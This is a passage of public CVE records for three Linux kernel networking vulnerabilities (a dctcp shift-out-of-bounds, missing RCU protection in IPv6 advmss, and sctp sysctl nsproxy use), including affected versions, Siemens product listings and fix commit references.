            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3ebc46ca8675de6378e3f8f40768e180bb8afa66"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:30.036Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/tcp_dctcp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "06d0fe049b51b0a92a70df8333fd85c4ba3eb2c6",
              "status": "affected",
              "version": "e3118e8359bb7c59555aca60c725106e6d78c5ce",
              "versionType": "git"
            },
            {
              "lessThan": "6aacaa80d962f4916ccf90e2080306cec6c90fcf",
              "status": "affected",
              "version": "e3118e8359bb7c59555aca60c725106e6d78c5ce",
              "versionType": "git"
            },
            {
              "lessThan": "e9b2f60636d18dfd0dd4965b3316f88dfd6a2b31",
              "status": "affected",
              "version": "e3118e8359bb7c59555aca60c725106e6d78c5ce",
              "versionType": "git"
            },
            {
              "lessThan": "8602150286a2a860a1dc55cbd04f99316f19b40a",
              "status": "affected",
              "version": "e3118e8359bb7c59555aca60c725106e6d78c5ce",
              "versionType": "git"
            },
            {
              "lessThan": "e65d13ec00a738fa7661925fd5929ab3c765d4be",
              "status": "affected",
              "version": "e3118e8359bb7c59555aca60c725106e6d78c5ce",
              "versionType": "git"
            },
            {
              "lessThan": "02261d3f9dc7d1d7be7d778f839e3404ab99034c",
              "status": "affected",
              "version": "e3118e8359bb7c59555aca60c725106e6d78c5ce",
              "versionType": "git"
            },
            {
              "lessThan": "237340dee373b97833a491d2e99fcf1d4a9adafd",
              "status": "affected",
              "version": "e3118e8359bb7c59555aca60c725106e6d78c5ce",
              "versionType": "git"
            },
            {
              "lessThan": "3ebc46ca8675de6378e3f8f40768e180bb8afa66",
              "status": "affected",
              "version": "e3118e8359bb7c59555aca60c725106e6d78c5ce",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/tcp_dctcp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.18"
            },
            {
              "lessThan": "3.18",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "3.18",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: Fix shift-out-of-bounds in dctcp_update_alpha().\n\nIn dctcp_update_alpha(), we use a module parameter dctcp_shift_g\nas follows:\n\n  alpha -= min_not_zero(alpha, alpha \u003e\u003e dctcp_shift_g);\n  ...\n  delivered_ce \u003c\u003c= (10 - dctcp_shift_g);\n\nIt seems syzkaller started fuzzing module parameters and triggered\nshift-out-of-bounds [0] by setting 100 to dctcp_shift_g:\n\n  memcpy((void*)0x20000080,\n         \"/sys/module/tcp_dctcp/parameters/dctcp_shift_g\\000\", 47);\n  res = syscall(__NR_openat, /*fd=*/0xffffffffffffff9cul, /*file=*/0x20000080ul,\n                /*flags=*/2ul, /*mode=*/0ul);\n  memcpy((void*)0x20000000, \"100\\000\", 4);\n  syscall(__NR_write, /*fd=*/r[0], /*val=*/0x20000000ul, /*len=*/4ul);\n\nLet\u0027s limit the max value of dctcp_shift_g by param_set_uint_minmax().\n\nWith this patch:\n\n  # echo 10 \u003e /sys/module/tcp_dctcp/parameters/dctcp_shift_g\n  # cat /sys/module/tcp_dctcp/parameters/dctcp_shift_g\n  10\n  # echo 11 \u003e /sys/module/tcp_dctcp/parameters/dctcp_shift_g\n  -bash: echo: write error: Invalid argument\n\n[0]:\nUBSAN: shift-out-of-bounds in net/ipv4/tcp_dctcp.c:143:12\nshift exponent 100 is too large for 32-bit type \u0027u32\u0027 (aka \u0027unsigned int\u0027)\nCPU: 0 PID: 8083 Comm: syz-executor345 Not tainted 6.9.0-05151-g1b294a1f3561 #2\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\n1.13.0-1ubuntu1.1 04/01/2014\nCall Trace:\n \u003cTASK\u003e\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x201/0x300 lib/dump_stack.c:114\n ubsan_epilogue lib/ubsan.c:231 [inline]\n __ubsan_handle_shift_out_of_bounds+0x346/0x3a0 lib/ubsan.c:468\n dctcp_update_alpha+0x540/0x570 net/ipv4/tcp_dctcp.c:143\n tcp_in_ack_event net/ipv4/tcp_input.c:3802 [inline]\n tcp_ack+0x17b1/0x3bc0 net/ipv4/tcp_input.c:3948\n tcp_rcv_state_process+0x57a/0x2290 net/ipv4/tcp_input.c:6711\n tcp_v4_do_rcv+0x764/0xc40 net/ipv4/tcp_ipv4.c:1937\n sk_backlog_rcv include/net/sock.h:1106 [inline]\n __release_sock+0x20f/0x350 net/core/sock.c:2983\n release_sock+0x61/0x1f0 net/core/sock.c:3549\n mptcp_subflow_shutdown+0x3d0/0x620 net/mptcp/protocol.c:2907\n mptcp_check_send_data_fin+0x225/0x410 net/mptcp/protocol.c:2976\n __mptcp_close+0x238/0xad0 net/mptcp/protocol.c:3072\n mptcp_close+0x2a/0x1a0 net/mptcp/protocol.c:3127\n inet_release+0x190/0x1f0 net/ipv4/af_inet.c:437\n __sock_release net/socket.c:659 [inline]\n sock_close+0xc0/0x240 net/socket.c:1421\n __fput+0x41b/0x890 fs/file_table.c:422\n task_work_run+0x23b/0x300 kernel/task_work.c:180\n exit_task_work include/linux/task_work.h:38 [inline]\n do_exit+0x9c8/0x2540 kernel/exit.c:878\n do_group_exit+0x201/0x2b0 kernel/exit.c:1027\n __do_sys_exit_group kernel/exit.c:1038 [inline]\n __se_sys_exit_group kernel/exit.c:1036 [inline]\n __x64_sys_exit_group+0x3f/0x40 kernel/exit.c:1036\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xe4/0x240 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x67/0x6f\nRIP: 0033:0x7f6c2b5005b6\nCode: Unable to access opcode bytes at 0x7f6c2b50058c.\nRSP: 002b:00007ffe883eb948 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7\nRAX: ffffffffffffffda RBX: 00007f6c2b5862f0 RCX: 00007f6c2b5005b6\nRDX: 0000000000000001 RSI: 000000000000003c RDI: 0000000000000001\nRBP: 0000000000000001 R08: 00000000000000e7 R09: ffffffffffffffc0\nR10: 0000000000000006 R11: 0000000000000246 R12: 00007f6c2b5862f0\nR13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000001\n \u003c/TASK\u003e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:18:28.367Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/06d0fe049b51b0a92a70df8333fd85c4ba3eb2c6"
        },
        {
          "url": "https://git.kernel.org/stable/c/6aacaa80d962f4916ccf90e2080306cec6c90fcf"
        },
        {
          "url": "https://git.kernel.org/stable/c/e9b2f60636d18dfd0dd4965b3316f88dfd6a2b31"
        },
        {
          "url": "https://git.kernel.org/stable/c/8602150286a2a860a1dc55cbd04f99316f19b40a"
        },
        {
          "url": "https://git.kernel.org/stable/c/e65d13ec00a738fa7661925fd5929ab3c765d4be"
        },
        {
          "url": "https://git.kernel.org/stable/c/02261d3f9dc7d1d7be7d778f839e3404ab99034c"
        },
        {
          "url": "https://git.kernel.org/stable/c/237340dee373b97833a491d2e99fcf1d4a9adafd"
        },
        {
          "url": "https://git.kernel.org/stable/c/3ebc46ca8675de6378e3f8f40768e180bb8afa66"
        }
      ],
      "title": "tcp: Fix shift-out-of-bounds in dctcp_update_alpha().",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-37356",
    "datePublished": "2024-06-21T10:18:11.642Z",
    "dateReserved": "2024-06-21T10:13:16.306Z",
    "dateUpdated": "2026-05-12T11:54:30.036Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21765 (GCVE-0-2025-21765)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:18 – Updated: 2026-05-12 12:03

Title

ipv6: use RCU protection in ip6_default_advmss()

Summary

In the Linux kernel, the following vulnerability has been resolved: ipv6: use RCU protection in ip6_default_advmss() ip6_default_advmss() needs rcu protection to make sure the net structure it reads does not disappear.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/78ad057472d8c76e0…
https://git.kernel.org/stable/c/d02f30d220ef95115…
https://git.kernel.org/stable/c/28de355b63ad42309…
https://git.kernel.org/stable/c/84212387caadb211c…
https://git.kernel.org/stable/c/4176a68b0db8fc74a…
https://git.kernel.org/stable/c/713a40c892f40300d…
https://git.kernel.org/stable/c/550ed693f47370502…
https://git.kernel.org/stable/c/3c8ffcd248da34fc4…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5578689a4e3c04f2d43ea39736fd3fa396d80c6e , < 78ad057472d8c76e0602402269222f9f9c698790 (git) Affected: 5578689a4e3c04f2d43ea39736fd3fa396d80c6e , < d02f30d220ef9511568a48dba8a9004c65f8d904 (git) Affected: 5578689a4e3c04f2d43ea39736fd3fa396d80c6e , < 28de355b63ad42309ed5a03ee7c436c90512265b (git) Affected: 5578689a4e3c04f2d43ea39736fd3fa396d80c6e , < 84212387caadb211cd9dadd6fd5563bd37dc1f5e (git) Affected: 5578689a4e3c04f2d43ea39736fd3fa396d80c6e , < 4176a68b0db8fc74ac14fcd00ba8231371051dc2 (git) Affected: 5578689a4e3c04f2d43ea39736fd3fa396d80c6e , < 713a40c892f40300d63691d9f85b2a23b48fe1e8 (git) Affected: 5578689a4e3c04f2d43ea39736fd3fa396d80c6e , < 550ed693f47370502a71b85382e7f9e6417300b8 (git) Affected: 5578689a4e3c04f2d43ea39736fd3fa396d80c6e , < 3c8ffcd248da34fc41e52a46e51505900115fc2a (git)
Linux	Linux	Affected: 2.6.26 Unaffected: 0 , < 2.6.26 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:37:20.115Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:46.751Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "78ad057472d8c76e0602402269222f9f9c698790",
              "status": "affected",
              "version": "5578689a4e3c04f2d43ea39736fd3fa396d80c6e",
              "versionType": "git"
            },
            {
              "lessThan": "d02f30d220ef9511568a48dba8a9004c65f8d904",
              "status": "affected",
              "version": "5578689a4e3c04f2d43ea39736fd3fa396d80c6e",
              "versionType": "git"
            },
            {
              "lessThan": "28de355b63ad42309ed5a03ee7c436c90512265b",
              "status": "affected",
              "version": "5578689a4e3c04f2d43ea39736fd3fa396d80c6e",
              "versionType": "git"
            },
            {
              "lessThan": "84212387caadb211cd9dadd6fd5563bd37dc1f5e",
              "status": "affected",
              "version": "5578689a4e3c04f2d43ea39736fd3fa396d80c6e",
              "versionType": "git"
            },
            {
              "lessThan": "4176a68b0db8fc74ac14fcd00ba8231371051dc2",
              "status": "affected",
              "version": "5578689a4e3c04f2d43ea39736fd3fa396d80c6e",
              "versionType": "git"
            },
            {
              "lessThan": "713a40c892f40300d63691d9f85b2a23b48fe1e8",
              "status": "affected",
              "version": "5578689a4e3c04f2d43ea39736fd3fa396d80c6e",
              "versionType": "git"
            },
            {
              "lessThan": "550ed693f47370502a71b85382e7f9e6417300b8",
              "status": "affected",
              "version": "5578689a4e3c04f2d43ea39736fd3fa396d80c6e",
              "versionType": "git"
            },
            {
              "lessThan": "3c8ffcd248da34fc41e52a46e51505900115fc2a",
              "status": "affected",
              "version": "5578689a4e3c04f2d43ea39736fd3fa396d80c6e",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.26"
            },
            {
              "lessThan": "2.6.26",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "2.6.26",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: use RCU protection in ip6_default_advmss()\n\nip6_default_advmss() needs rcu protection to make\nsure the net structure it reads does not disappear."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:57.867Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/78ad057472d8c76e0602402269222f9f9c698790"
        },
        {
          "url": "https://git.kernel.org/stable/c/d02f30d220ef9511568a48dba8a9004c65f8d904"
        },
        {
          "url": "https://git.kernel.org/stable/c/28de355b63ad42309ed5a03ee7c436c90512265b"
        },
        {
          "url": "https://git.kernel.org/stable/c/84212387caadb211cd9dadd6fd5563bd37dc1f5e"
        },
        {
          "url": "https://git.kernel.org/stable/c/4176a68b0db8fc74ac14fcd00ba8231371051dc2"
        },
        {
          "url": "https://git.kernel.org/stable/c/713a40c892f40300d63691d9f85b2a23b48fe1e8"
        },
        {
          "url": "https://git.kernel.org/stable/c/550ed693f47370502a71b85382e7f9e6417300b8"
        },
        {
          "url": "https://git.kernel.org/stable/c/3c8ffcd248da34fc41e52a46e51505900115fc2a"
        }
      ],
      "title": "ipv6: use RCU protection in ip6_default_advmss()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21765",
    "datePublished": "2025-02-27T02:18:16.078Z",
    "dateReserved": "2024-12-29T08:45:45.761Z",
    "dateUpdated": "2026-05-12T12:03:46.751Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21638 (GCVE-0-2025-21638)

Vulnerability from cvelistv5 – Published: 2025-01-19 10:17 – Updated: 2026-05-12 12:02

Title

sctp: sysctl: auth_enable: avoid using current->nsproxy

Summary

In the Linux kernel, the following vulnerability has been resolved: sctp: sysctl: auth_enable: avoid using current->nsproxy As mentioned in a previous commit of this series, using the 'net' structure via 'current' is not recommended for different reasons: - Inconsistency: getting info from the reader's/writer's netns vs only from the opener's netns. - current->nsproxy can be NULL in some cases, resulting in an 'Oops' (null-ptr-deref), e.g. when the current task is exiting, as spotted by syzbot [1] using acct(2). The 'net' structure can be obtained from the table->data using container_of(). Note that table->data could also be used directly, but that would increase the size of this fix, while 'sctp.ctl_sock' still needs to be retrieved from 'net' structure.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/cf387cdebfaebae22…
https://git.kernel.org/stable/c/dc583e7e5f8515ca4…
https://git.kernel.org/stable/c/bd2a2939423566c65…
https://git.kernel.org/stable/c/1b67030d39f2b00f9…
https://git.kernel.org/stable/c/7ec30c54f339c640a…
https://git.kernel.org/stable/c/c184bc621e3cef03a…
https://git.kernel.org/stable/c/15649fd5415eda664…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b14878ccb7fac0242db82720b784ab62c467c0dc , < cf387cdebfaebae228dfba162f94c567a67610c3 (git) Affected: b14878ccb7fac0242db82720b784ab62c467c0dc , < dc583e7e5f8515ca489c0df28e4362a70eade382 (git) Affected: b14878ccb7fac0242db82720b784ab62c467c0dc , < bd2a2939423566c654545fa3e96a656662a0af9e (git) Affected: b14878ccb7fac0242db82720b784ab62c467c0dc , < 1b67030d39f2b00f94ac1f0af11ba6657589e4d3 (git) Affected: b14878ccb7fac0242db82720b784ab62c467c0dc , < 7ec30c54f339c640aa7e49d7e9f7bbed6bd42bf6 (git) Affected: b14878ccb7fac0242db82720b784ab62c467c0dc , < c184bc621e3cef03ac9ba81a50dda2dae6a21d36 (git) Affected: b14878ccb7fac0242db82720b784ab62c467c0dc , < 15649fd5415eda664ef35780c2013adeb5d9c695 (git) Affected: e5eae4a0511241959498b180fa0df0d4f1b11b9c (git) Affected: 88830f227a1f96e44d82ddfcb0cc81d517ec6dd8 (git) Affected: 3938b0336a93fa5faa242dc9e5823ac69df9e066 (git)
Linux	Linux	Affected: 3.15 Unaffected: 0 , < 3.15 (semver) Unaffected: 5.4.292 , ≤ 5.4.* (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.125 , ≤ 6.1.* (semver) Unaffected: 6.6.72 , ≤ 6.6.* (semver) Unaffected: 6.12.10 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:58:17.877Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:58.938Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sctp/sysctl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
